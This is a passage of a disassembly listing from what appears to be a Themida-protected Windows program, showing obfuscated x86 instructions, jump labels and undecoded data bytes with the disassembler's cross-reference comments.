loc_558F44: ; CODE XREF: Themida_:005569F1j
mov ah, 81h
sub ah, bh
jmp loc_55E8E5
; ---------------------------------------------------------------------------
db 0B9h, 2Eh, 71h
dd 0E9C119BBh, 20C98103h, 0D1755430h, 4E9C1E9h, 0B0C18149h
dd 416BF461h, 46C98149h, 0E90BEE5Ah, 0B5B3h, 7445F281h
dd 81586391h, 0E060BFEAh, 0E9CA2928h, 3311h, 0EEC0DFB6h
dd 6EEC005h, 0E9DBC680h, 0FFFFB9C7h
; ---------------------------------------------------------------------------
loc_558F98: ; CODE XREF: Themida_:005639D1j
sub edi, 0E5BAB2F7h
mov ebp, edi
pop edi
jmp loc_55CF5F
; ---------------------------------------------------------------------------
loc_558FA6: ; CODE XREF: Themida_:00556E5Dj
push dword ptr [esp]
pop eax
add esp, 4
add edx, 4
xchg edx, [esp]
jmp loc_5672DA
; ---------------------------------------------------------------------------
aQys db '╥',27h,'(ОYИЙ╧',0
align 4
dd 81242C8Bh, 4C4h, 2EC8300h, 24348966h, 3263BE66h, 6FD5E9h
dd 82E95700h
db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558FE7: ; CODE XREF: Themida_:00568130j
push eax
mov eax, esp
jmp loc_556321
; ---------------------------------------------------------------------------
loc_558FEF: ; CODE XREF: Themida_:0056730Cj
sub esi, 548925B1h
xor esi, 2BE1180h
sub ebp, 6E6A2176h
add ebp, esi
add ebp, 6E6A2176h
mov esi, [esp]
add esp, 4
add ebp, 4
jmp loc_56269E
; ---------------------------------------------------------------------------
loc_55901A: ; CODE XREF: Themida_:005659DAj
add esi, 299ED4C1h
sub ebp, esi
pop esi
sub ebp, 4BFD0468h
add ebp, edi
add ebp, 4BFD0468h
add ebp, 2BA344C0h
pop edi
jmp loc_560ADB
; ---------------------------------------------------------------------------
loc_55903D: ; CODE XREF: Themida_:005640DAj
add ebp, 4
xchg ebp, [esp]
pop esp
or edx, eax
shl edx, 1
jmp loc_5678C6
; ---------------------------------------------------------------------------
byte_55904D db 8Fh, 2, 0E9h ; DATA XREF: Themida_:00552AF4o
dd 0FFFF9B67h
; ---------------------------------------------------------------------------
loc_559054: ; CODE XREF: Themida_:005646B4j
add edi, edx
pop edx
sub eax, edi
jmp loc_5639BD
; ---------------------------------------------------------------------------
dw 1489h
dd 7602BA24h, 0CA8157D4h, 2A1C252Bh, 0EAC1DAF7h, 0F2814203h
dd 2D234EE2h, 0B850D2F7h, 366E2DE1h, 0CBD6C305h, 58C22901h
dd 0EABBEA81h, 0D389DE32h, 310EE9h
db 0
; ---------------------------------------------------------------------------
loc_559095: ; CODE XREF: Themida_:0055CAEFj
mov edx, 559A01F6h
jmp loc_5625E5
; ---------------------------------------------------------------------------
db 89h
dd 242C8BEBh, 4C481h, 73E90000h
db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5590AF: ; CODE XREF: Themida_:005579F1j
mov eax, 41F36A98h
jmp loc_5609CF
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 4B8h, 58C52900h, 5C242C87h, 55241C89h, 56025768h, 0DDF75D4Ah
dd 3C69F581h, 0F5812C4Dh, 0B12154D2h, 0FFFFBAE9h, 5BDA29FFh
dd 0E956C201h, 6235h, 5A240487h, 6E9168h, 24148900h, 3351E9h
dd 0C6815E00h, 4, 4C681h, 34870000h, 0CFB7E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559116: ; CODE XREF: Themida_:00562CBCj
xchg ebx, [esp]
pop esp
jmp loc_567F92
; ---------------------------------------------------------------------------
loc_55911F: ; CODE XREF: Themida_:00564BF1j
xchg esi, [esp]
pop esp
xchg edx, [esp]
mov esp, [esp]
push ebx
jmp loc_55CB54
; ---------------------------------------------------------------------------
db 81h
dd 1134A4C5h, 2C875800h, 0C2815C24h, 40687EA2h, 0EA81DA01h
dd 40687EA2h, 0FFDE89E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55914D: ; CODE XREF: Themida_:005546E8j
add edi, 4
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
and eax, ecx
jmp loc_55FE13
; ---------------------------------------------------------------------------
loc_559169: ; CODE XREF: Themida_:00560D36j
xchg edx, [esp]
mov esp, [esp]
jmp loc_55C3B2
; ---------------------------------------------------------------------------
loc_559174: ; CODE XREF: Themida_:0055A1AAj
push edx
mov edx, 245710BFh
sub [esp+4], edx
pop edx
push dword ptr [esp]
pop eax
add esp, 4
push edx
mov edx, 22310FA6h
dec edx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
jmp loc_56386E
; ---------------------------------------------------------------------------
db 81h, 0C5h, 64h
dd 4D717B63h, 0B951D5F7h, 0A5F1758h, 0BA52D1F7h, 48B9655Fh
dd 1C281h, 0EA810000h, 47592E7Fh, 495AD129h, 36F1C981h
dd 0E9C16321h, 66BF5708h, 81044A62h, 0CEB017C7h, 5FF929F1h
dd 8159CD31h, 0AD1F0EF5h, 2456E91Dh, 0EA810000h, 67A84719h
dd 0C281F229h, 67A84719h, 0BC6BE95Eh, 0DA68FFFFh, 8900003Dh
dd 5BB82404h, 0E953942Fh, 0E23Dh, 6EAC05Bh, 8044EA80h
dd 0F280C1CAh, 0F7B75326h, 5845E9h, 39E46800h, 48E9E895h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559237: ; CODE XREF: Themida_:00564570j
not ebp
not ebp
dec ebp
shl ebp, 6
xor ebp, 26DEE544h
sub eax, 159E4622h
sub eax, ebp
add eax, 159E4622h
jmp loc_557AEF
; ---------------------------------------------------------------------------
dw 0DD29h
dd 81241C8Bh, 4C4h, 388EE900h, 33B80000h, 0C1381246h, 843504E0h
dd 2D715B74h, 0F07F17B0h, 9BE9C701h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_55927F: ; CODE XREF: Themida_:00559F72j
xchg eax, [esp]
pop esp
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_552BBB
; ---------------------------------------------------------------------------
db 66h
dd 8C05E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5592AA: ; CODE XREF: Themida_:00565D68j
add ebp, edx
pop edx
sub esp, 4
jmp loc_55B48A
; ---------------------------------------------------------------------------
dword_5592B8 dd 8904EC83h, 0E9562414h, 7BAAh ; DATA XREF: Themida_:00552960o
; ---------------------------------------------------------------------------
loc_5592C4: ; CODE XREF: Themida_:005553C1j
pop ebp
mov edx, ebp
pop ebp
pop ecx
push edx
pop eax
push dword ptr [esp]
pop edx
add esp, 4
sub [edi+24h], eax
push dword ptr [esp]
mov eax, [esp]
jmp loc_567758
; ---------------------------------------------------------------------------
loc_5592E0: ; CODE XREF: Themida_:00562AD5j
push dword ptr [esp]
jmp loc_5554B0
; ---------------------------------------------------------------------------
loc_5592E8: ; CODE XREF: Themida_:0055335Dj
push edi
jmp loc_5579F6
; ---------------------------------------------------------------------------
word_5592EE dw 34FFh ; DATA XREF: Themida_:005529BCo
dd 2434FF24h, 0D833E959h, 0DB2D0000h, 1529D08h, 8DB05C8h
dd 0C8B529Dh, 4C48124h, 50000000h, 42474FFh, 0C3CCE958h
dd 81580000h, 4C7h, 243C8700h, 0E0E9525Ch
db 7Eh, 2 dup(0)
byte_55932B db 66h ; DATA XREF: Themida_:00552AE8o
dd 68240C8Bh, 45DDh, 0E9241489h, 62D2h, 8324348Bh, 0C68104C4h
dd 4, 8704EE83h, 248B2434h, 242C8924h, 590ABB53h, 0EBC14081h
dd 49EBE906h
db 2 dup(0)
word_559362 dw 34FFh ; DATA XREF: Themida_:00552B4Co
dd 0EC835924h, 243BE904h, 54550000h, 0D4E4E9h, 48F5800h
dd 24248B24h, 66E1F766h, 0E96BF868h, 0FFFF9CC0h, 0FF982EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55938D: ; CODE XREF: Themida_:0055CF87j
mov [esp], ebx
jmp loc_559D47
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0FFBA64E9h, 50C181FFh, 5B34D16Bh, 4C181h, 0C330000h
dd 0DFC0E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5593B2: ; CODE XREF: Themida_:00568299j
push 4D3F1E94h
jmp loc_5608E9
; ---------------------------------------------------------------------------
dd 9C242CD2h, 0FF97F6E9h, 0A1E952FFh
db 33h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5593CB: ; CODE XREF: Themida_:0055F88Dj
push eax
mov eax, 758233F8h
sub ebx, eax
pop eax
jmp loc_55EC79
; ---------------------------------------------------------------------------
db 0BFh, 78h, 7Bh
dd 0FE3167E3h, 4733E9h
db 0
byte_5593E5 db 0ADh, 5, 90h ; DATA XREF: Themida_:005529E4o
dd 2D1FA708h, 4AA841D7h, 8AE9D829h, 5FFFFFF1h, 39FDC781h
dd 12E90E48h, 89FFFFBEh, 67E9242Ch
db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55940B: ; CODE XREF: Themida_:0055E4A1j
xchg edx, esi
xchg esi, edx
not esi
jmp loc_55AA39
; ---------------------------------------------------------------------------
loc_559416: ; CODE XREF: Themida_:0055E138j
mov edx, 454A11C3h
and edx, 2BF7175Bh
jmp loc_565883
; ---------------------------------------------------------------------------
aVsn db 'VИnй',0
align 4
dd 5310E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559432: ; CODE XREF: Themida_:0055EC3Aj
add ah, bh
sub ah, 1Fh
sub ah, 0C3h
pop ebx
mov bl, ah
jmp loc_565B52
; ---------------------------------------------------------------------------
loc_559442: ; CODE XREF: Themida_:0056824Cj
mov esi, ebp
jmp loc_560668
; ---------------------------------------------------------------------------
db 2Dh, 23h, 5Bh
dd 0F029279Bh, 9B5B2305h, 19E95227h
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55945B: ; CODE XREF: Themida_:00554FC4j
mov ecx, [esp]
jmp loc_55B582
; ---------------------------------------------------------------------------
loc_559463: ; CODE XREF: Themida_:005588E9j
add bl, 0A8h
dec bl
add bl, 0FFh
jmp loc_55BBC0
; ---------------------------------------------------------------------------
aPstp db 'PИT╞',0
align 2
dw 0F281h
dd 0FE9AE9EAh, 0E95AD531h, 267Eh, 4BAh, 24540100h, 24148B04h
dd 14B8E9h, 0E9476600h, 0FFFFB18Fh
; ---------------------------------------------------------------------------
loc_55949C: ; CODE XREF: Themida_:00567E66j
sub dword ptr [esp], 6F3D745Bh
pop ebx
jmp loc_565B79
; ---------------------------------------------------------------------------
db 81h, 0C5h, 2Fh
dd 89D058FCh, 113FE9EAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5594B6: ; CODE XREF: Themida_:00563A85j
push ebx
sub dword ptr [esp], 1A8E59FFh
pop esi
jmp loc_556D5C
; ---------------------------------------------------------------------------
loc_5594C4: ; CODE XREF: Themida_:0055F1FEj
or edx, 5B170B11h
jmp loc_5552A5
; ---------------------------------------------------------------------------
db 81h
dd 77F39AC3h, 5BDA019Eh, 3E9CA01h, 5A0000E3h, 4BF57h, 0F8010000h
dd 0BFDEE95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5594EE: ; CODE XREF: Themida_:0055A62Dj
add esi, 74DD3C31h
jmp loc_55B590
; ---------------------------------------------------------------------------
db 50h, 0E9h, 17h
dd 81FFFFCEh, 4C4h, 1256E900h, 71BB0000h, 0E9742F17h, 2BA2h
dd 0BE56D0F7h, 0FFFFFFFFh, 0F75EF001h, 0BABA52D0h, 0E9012A36h
dd 7975h, 83242C8Ah, 0ED8004C4h, 0B4FBE901h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55953A: ; CODE XREF: Themida_:0056388Ej
add edx, 0CAB8BF94h
sub ebp, edx
pop edx
push ecx
mov ecx, 1CBE739Fh
push ecx
not dword ptr [esp]
pop ecx
add ecx, 4739761Eh
xor ebp, ecx
mov ecx, [esp]
add esp, 4
push edi
jmp loc_562544
; ---------------------------------------------------------------------------
dw 8966h
dd 0BF66243Ch, 166FFFFh, 665F66FDh, 99A3E957h, 0C2830000h
dd 24148704h, 0E924248Bh, 0C9E7h, 5EF7015Dh, 8704C783h
dd 81E9243Ch
db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559593: ; CODE XREF: Themida_:005565F2j
pop esi
jmp loc_553B8F
; ---------------------------------------------------------------------------
db 66h, 89h, 0Ch
aS_8 db '$Ил&',0
align 2
loc_5595A2: ; CODE XREF: Themida_:00560A42j
pop esi
push edx
mov edx, 1244EADh
inc edx
jmp loc_559C31
; ---------------------------------------------------------------------------
db 66h
dd 1B90C381h, 8AF8E9h, 0C3285A00h, 582434FFh, 4C481h, 602C0000h
dd 19E9D828h, 8B000021h, 0C4812404h, 4, 2BB53h, 0B8500000h
dd 29391AFCh, 158C629h, 9E22E9DEh, 1C89FFFFh, 5DFEBB24h
dd 5C313BA1h, 0E95B0424h, 0BBDCh, 3411685Dh, 0C890000h
dd 2BF5724h, 89000000h, 9BC4E9F9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559616: ; CODE XREF: Themida_:00563715j
add ecx, 299B6771h
sub ecx, 4E101ADFh
jmp loc_559EC7
; ---------------------------------------------------------------------------
loc_559627: ; CODE XREF: Themida_:00557F58j
mov [esp], ecx
mov ecx, 1510D08h
mov eax, 0FEAEF2FCh
sub esp, 4
mov [esp], ebx
mov ebx, 1705290h
push 0
sub dword ptr [esp], 690637D4h
jmp loc_555888
; ---------------------------------------------------------------------------
loc_559653: ; CODE XREF: Themida_:0055CD94j
add edx, esi
sub edx, 72E343Dh
jmp loc_560D35
; ---------------------------------------------------------------------------
loc_559660: ; CODE XREF: Themida_:00565E67j
pop eax
mov ebp, [esp]
add esp, 4
add ebp, 5F2F2FE6h
pop ebx
add ebp, 50261A6h
sub ebp, 59EE067Dh
dec ebp
jmp loc_561817
; ---------------------------------------------------------------------------
db 5Ch
dd 0D2F7D587h, 99B8E9h, 20F38000h, 8004F380h, 9BE988E3h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55969B: ; CODE XREF: Themida_:00559C83j
neg dword ptr [esp]
jmp loc_553569
; ---------------------------------------------------------------------------
aHx db ']hx ',0
dd 8F11E900h, 74FF0000h, 0F6E90424h
db 51h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5596B7: ; CODE XREF: Themida_:0055E238j
mov ecx, [esp]
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], esp
push ebx
push 4
pop ebx
add [esp+4], ebx
mov ebx, [esp]
jmp loc_55AE2D
; ---------------------------------------------------------------------------
dd 0C181E189h, 4, 4C181h, 11E90000h, 5CFFFFA3h, 57243489h
dd 0BA3888BFh, 2C67BE01h, 0EEC16973h, 0FAF68104h, 811F3F08h
dd 0D93E31C6h, 5FFE29E8h, 8B5EF301h, 0C4812434h, 4, 2434FF50h
dd 0E7D8E9h, 88506600h, 6258E9F0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55972E: ; CODE XREF: Themida_:00561318j
pop ebp
mov ebp, esi
mov esi, [esp]
jmp loc_55E37F
; ---------------------------------------------------------------------------
loc_559739: ; CODE XREF: Themida_:005632DEj
add esp, 4
add esp, 4
shl edi, 6
jmp loc_55D58B
; ---------------------------------------------------------------------------
db 89h, 0E3h, 81h
dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFFA0D2h
; ---------------------------------------------------------------------------
loc_559764: ; CODE XREF: Themida_:005600B6j
sub edx, 64463E7Bh
sub edx, 49603EAh
sub ebx, 679A19AFh
sub ebx, edx
add ebx, 679A19AFh
pop edx
mov ecx, [ebx]
mov ebx, [esp]
jmp loc_55A710
; ---------------------------------------------------------------------------
loc_559789: ; CODE XREF: Themida_:0055EFD5j
push edi
mov edi, 68F30EE1h
jmp loc_55ECD2
; ---------------------------------------------------------------------------
dd 4C2815Ah, 56000000h, 0F366F1BEh, 0AE94E04h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5597A7: ; CODE XREF: Themida_:00567FEAj
add edi, 4
add edi, 4
jmp loc_562D16
; ---------------------------------------------------------------------------
loc_5597B5: ; CODE XREF: Themida_:005577B5j
mov esi, 1A4300CBh
mov ebx, 86DB5486h
sub ebx, esi
push dword ptr [esp]
jmp loc_554279
; ---------------------------------------------------------------------------
db 5Fh, 8Fh, 4
aSnb db '$\Иnb',0
dw 5600h
dd 0EC83E689h, 241C8904h, 4BBh, 82C68100h, 15C0830h, 82EE81DEh
dd 5B5C0830h, 8704EE83h, 895C2434h, 0E389241Ch, 7580E956h
dd 6C810000h, 1CAC0424h, 30E941D5h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55980F: ; CODE XREF: Themida_:00563840j
pop edx
push 163Dh
mov [esp], ebx
jmp loc_558E4C
; ---------------------------------------------------------------------------
db 4Bh, 81h, 0F3h
aUWusO db 'ЦйWЦИо▌',0
dd 76CD8100h, 811B0629h, 95D636C5h, 0E9EF096Eh, 0D3B0h
; ---------------------------------------------------------------------------
loc_55983C: ; CODE XREF: Themida_:005573B5j
push edi
mov edi, 0A1C21EABh
add eax, edi
push dword ptr [esp]
pop edi
push eax
push esp
pop eax
add eax, 4
push edi
mov edi, 4
push esi
jmp loc_565877
; ---------------------------------------------------------------------------
dd 4245401h, 0F2BB5356h, 50018872h, 0C689D889h, 46EEE958h
dd 0CF010000h, 0A7F1E9h, 1D20B800h, 0FE94F73h, 33FFFFA5h
dd 34312434h, 24343324h, 0E924248Bh, 0FFFF9D61h
; ---------------------------------------------------------------------------
loc_559894: ; CODE XREF: Themida_:00563B13j
and edx, 262D0071h
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_559F82
; ---------------------------------------------------------------------------
loc_5598AB: ; CODE XREF: Themida_:0056768Fj
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
or ebx, ebx
jnz loc_565245
push eax
push edx
push eax
push esi
mov esi, 52DD3C63h
push esi
not dword ptr [esp]
pop esi
inc esi
jmp loc_5555D3
; ---------------------------------------------------------------------------
loc_5598D3: ; CODE XREF: Themida_:0055C79Aj
pop ebp
pop dword ptr [esp]
jmp loc_560E19
; ---------------------------------------------------------------------------
loc_5598DC: ; CODE XREF: Themida_:0055D4F5j
mov esi, 21781BAAh
and esi, 785D0E2Eh
sub esi, 1ABF6624h
shl esi, 5
shr esi, 7
jmp loc_567082
; ---------------------------------------------------------------------------
loc_5598F8: ; CODE XREF: Themida_:00560B92j
pop edi
jmp loc_55A643
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0FF242C89h, 8B042474h, 0C481242Ch, 4, 0E924048Fh
dd 0C024h, 0E9243C8Bh, 6B5Eh, 2414895Ch, 473068h, 24248900h
dd 4240483h, 8B68555Ah, 8900002Eh, 0B9512404h, 108C770Eh
dd 0E8E9C889h
db 35h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55994B: ; CODE XREF: Themida_:005621D5j
add ch, bh
pop ebx
sub bl, 53h
jmp loc_567275
; ---------------------------------------------------------------------------
dw 0E789h
dd 5E08950h, 4, 42Dh, 24048700h, 0A2B7E9h, 24048F00h, 5F82E9h
dd 0B9515200h, 3D2A1295h, 0B514F2BAh, 0E9CA312Dh, 3A8h
dd 8758C329h, 665C241Ch, 66243D68h, 48F6654h, 4816624h
dd 66000224h, 6624048Fh, 2BA6652h, 44816600h, 534E0224h
dd 246C8166h, 661E7902h, 2244481h, 16632DDh, 66022454h
dd 2246C81h, 0CE932DDh, 4700007Ch, 86C2E9h, 0F4C58100h
dd 68696B04h, 5141h, 55241489h, 0E066EBBDh, 8A94E971h
dd 0BD550000h, 1889531Eh, 3514E94Dh, 14890000h, 0E9C68824h
dd 0DFABh, 4E31685Bh, 2C890000h, 305AE924h, 0EB810000h
dd 7BDF1592h, 0A9E9CB29h
db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559A1F: ; CODE XREF: Themida_:00565B14j
pop ecx
and eax, ebp
push dword ptr [esp]
push dword ptr [esp]
jmp loc_560060
; ---------------------------------------------------------------------------
db 68h, 67h, 0Ch
dd 14890000h, 4EC8124h, 89000000h, 0BB53243Ch, 4, 895BDF89h
dd 2434FFFAh, 4C4815Fh, 55000000h, 7F17B7BDh, 0C3B95116h
dd 81366723h, 64EF6E1h, 6E9C111h, 0BAE9E1D1h, 68000042h
dd 7408799Dh, 0ACDFE9h, 24248B00h, 0FF913AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559A81: ; CODE XREF: Themida_:00559E41j
add esi, 435647ACh
jmp loc_560C70
; ---------------------------------------------------------------------------
dword_559A8C dd 0FF2434FFh, 34FF2434h, 0C4835A24h, 321A6804h, 14890000h
; DATA XREF: Themida_:00552B6Co
dd 617A6824h, 24890000h, 24048124h, 4, 20E2E9h
db 0
; ---------------------------------------------------------------------------
loc_559AB5: ; CODE XREF: Themida_:0055D5CCj
pop bx
xor al, dl
pop edx
jmp loc_557D5B
; ---------------------------------------------------------------------------
loc_559ABF: ; CODE XREF: Themida_:00562579j
add ecx, ebx
mov ebx, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
shr ecx, 6
push 94Ah
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 43D27F23h
inc ecx
sub esp, 4
mov [esp], edi
push edx
push 46A464B3h
pop edx
neg edx
sub edx, 72010433h
add edx, 507D059Ah
sub edx, 0DBAA1BD4h
mov edi, edx
pop edx
add ecx, edi
mov edi, [esp]
add esp, 4
add ebp, 60454F5Bh
add ebp, ecx
sub ebp, 60454F5Bh
mov ecx, [esp]
jmp loc_566FCD
; ---------------------------------------------------------------------------
dw 14F7h
dd 0EF815F24h, 8BA4247Ch, 0E95FF801h, 0AA03h, 4B684525h
dd 3F693544h, 0E981639Fh, 65F3A6Eh, 0C181C129h, 65F3A6Eh
dd 81AE958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559B7E: ; CODE XREF: Themida_:00555E66j
not dword ptr [esp]
jmp loc_553AE0
; ---------------------------------------------------------------------------
loc_559B86: ; CODE XREF: Themida_:00566E04j
pop ebp
sub eax, 8C6120Ah
mov ebx, eax
pop eax
and eax, ebx
push dword ptr [esp]
pop ebx
push 3673h
jmp loc_55CBB1
; ---------------------------------------------------------------------------
loc_559B9F: ; CODE XREF: Themida_:00554520j
mov esp, [esp]
jmp loc_55DD96
; ---------------------------------------------------------------------------
loc_559BA7: ; CODE XREF: Themida_:00554577j
sub eax, 0F4E5E6Eh
sub eax, 0FE64D9Eh
xor ecx, eax
pop eax
add edx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push ebp
mov ebp, 4
add edx, ebp
push dword ptr [esp]
pop ebp
jmp loc_554DC3
; ---------------------------------------------------------------------------
dw 8166h
dd 663E84CBh, 0C3816643h, 0C1664406h, 506607E3h, 6F2AB866h
dd 66C30166h, 0E924048Bh, 5305h
; ---------------------------------------------------------------------------
loc_559BF0: ; CODE XREF: Themida_:005607BAj
mov edx, 35F5739Ah
sub esi, edx
pop edx
jmp loc_55EA31
; ---------------------------------------------------------------------------
loc_559BFD: ; CODE XREF: Themida_:0055CACDj
pop esi
sub ebx, 6622239Bh
sub esp, 4
mov [esp], ebp
mov ebp, 4B3A3453h
sub ebx, 0F6C2EE3h
add ebx, 6C555DB1h
sub ebx, ebp
sub ebx, 6C555DB1h
add ebx, 0F6C2EE3h
jmp loc_5660B7
; ---------------------------------------------------------------------------
loc_559C31: ; CODE XREF: Themida_:005595AAj
add edx, 0FFFFFFFFh
push edi
push 68AA42B0h
pop edi
sub edx, edi
pop edi
push ecx
jmp loc_554C8C
; ---------------------------------------------------------------------------
db 0FFh
dd 28E92404h, 0FF00000Ch, 69E92434h
db 68h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559C57: ; CODE XREF: Themida_:00552FD3j
or eax, esi
pop esi
shl eax, 3
jmp loc_557FD6
; ---------------------------------------------------------------------------
loc_559C62: ; CODE XREF: Themida_:0055EAFEj
mov ebx, 4
mov eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55B3CB
; ---------------------------------------------------------------------------
loc_559C77: ; CODE XREF: Themida_:00563E65j
sub esp, 4
mov [esp], esi
mov esi, 17490664h
push esi
jmp loc_55969B
; ---------------------------------------------------------------------------
loc_559C88: ; CODE XREF: Themida_:00558C8Aj
add ebp, 2
jmp loc_553D51
; ---------------------------------------------------------------------------
loc_559C90: ; CODE XREF: Themida_:00564406j
xor cl, 4
jmp loc_560554
; ---------------------------------------------------------------------------
loc_559C98: ; CODE XREF: Themida_:00564F6Bj
mov esi, esp
jmp loc_563FEF
; ---------------------------------------------------------------------------
byte_559C9F db 66h ; DATA XREF: Themida_:00552A5Co
dd 5024048Bh, 0DA47E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559CAA: ; CODE XREF: Themida_:00553304j
xor edx, 2B1834D2h
jmp loc_55D1F4
; ---------------------------------------------------------------------------
loc_559CB5: ; CODE XREF: Themida_:00560E44j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
xor ebx, eax
push dword ptr [eax]
jmp loc_5664C5
; ---------------------------------------------------------------------------
dd 83241C8Bh, 0E8E904C4h, 8F0000C9h, 895C2404h, 5682434h
dd 89000011h, 4832424h, 29E90424h
db 85h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559CEB: ; CODE XREF: Themida_:0055B805j
inc edx
sub edx, 0CF3D474h
add edi, edx
pop edx
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], eax
mov eax, 10h
and ebx, eax
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
mov [esp], edi
push esp
pop edi
jmp loc_55FBE4
; ---------------------------------------------------------------------------
loc_559D19: ; CODE XREF: Themida_:0055ABD2j
push 65D1h
mov [esp], edi
mov edi, 4C9C718Dh
push edi
xchg ebp, [esp]
xchg eax, ebp
jmp loc_5677ED
; ---------------------------------------------------------------------------
dd 0BEEA8159h, 0E928451Dh, 0FFFFA770h, 43BC581h, 72E92A17h
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559D47: ; CODE XREF: Themida_:00559390j
push 20D65EFh
pop ebx
and edx, ebx
jmp loc_55DE12
; ---------------------------------------------------------------------------
loc_559D54: ; CODE XREF: Themida_:0055C44Dj
add ecx, 3C6354CCh
pop edi
add ecx, eax
push eax
jmp loc_55D4FA
; ---------------------------------------------------------------------------
db 1
dd 0ED8158C5h, 0FFFFFFFFh, 0B850DDF7h, 40E249EAh, 0AB3C1935h
dd 0DBBF5723h, 4F4D506Fh, 2119B850h, 0E8C13454h, 1F33E902h
dd 36B80000h, 0E97E0E55h, 1CD1h, 6CEB80h, 6CC380E3h, 8324048Bh
dd 0EB8004C4h, 0C0B60F6Eh, 0DABEE9h
db 0
; ---------------------------------------------------------------------------
loc_559DB1: ; CODE XREF: Themida_:00555E53j
sub eax, 47BE4C3Dh
sub eax, ebp
add eax, 47BE4C3Dh
pop ebp
jmp loc_56392C
; ---------------------------------------------------------------------------
aYh? db 'Yh?{',0
dd 24348900h, 42474FFh, 13C8E9h, 18C80500h, 0C621F8C3h
dd 5EFFE9h
db 0
; ---------------------------------------------------------------------------
loc_559DE1: ; CODE XREF: Themida_:00561B8Aj
pop esi
mov ebx, 6BDB3C87h
xor ebx, ecx
pop ecx
jmp loc_55E9F6
; ---------------------------------------------------------------------------
db 33h
dd 248B240Ch, 0E6895624h, 4C681h, 0EE810000h, 4, 31243433h
dd 34332434h, 24248B24h, 54240C89h, 0FFB548E9h, 0A8C781FFh
dd 473A3167h, 0FAF78147h, 817B5076h, 0B3DBCDF7h, 5FFE0977h
dd 534C681h, 0EE9404Bh
db 6, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559E3B: ; CODE XREF: Themida_:00557400j
and esi, 12F91007h
jmp loc_559A81
; ---------------------------------------------------------------------------
loc_559E46: ; CODE XREF: Themida_:0055F5A2j
shr edi, 6
add edi, 69F9104Fh
jmp loc_55ECE7
; ---------------------------------------------------------------------------
dd 38ADE381h, 0E3C177D9h, 0C7FCE902h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559E62: ; CODE XREF: Themida_:0055567Dj
xchg ebx, esi
jmp loc_566553
; ---------------------------------------------------------------------------
loc_559E69: ; CODE XREF: Themida_:00565F2Cj
add ecx, 4
jmp loc_567995
; ---------------------------------------------------------------------------
dd 0D5F7EB87h, 9EE9EB87h, 0B9FFFFF9h, 2E982FFFh, 4106E1C1h
dd 0FFA545E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559E8D: ; CODE XREF: Themida_:00566FE1j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5576E3
; ---------------------------------------------------------------------------
dd 0E9240C8Bh, 0AD0Ah
; ---------------------------------------------------------------------------
loc_559EA0: ; CODE XREF: Themida_:0055E89Bj
add esi, 4
push edx
mov edx, 4
jmp loc_55739A
; ---------------------------------------------------------------------------
loc_559EB1: ; CODE XREF: Themida_:0055B02Fj
xor esi, [esp]
mov esp, [esp]
jmp loc_55F393
; ---------------------------------------------------------------------------
dd 4C181h, 4AE90000h
db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559EC7: ; CODE XREF: Themida_:00559622j
sub ecx, 0C8CA5FE7h
mov ebx, ecx
pop ecx
sub ebx, esi
push ebx
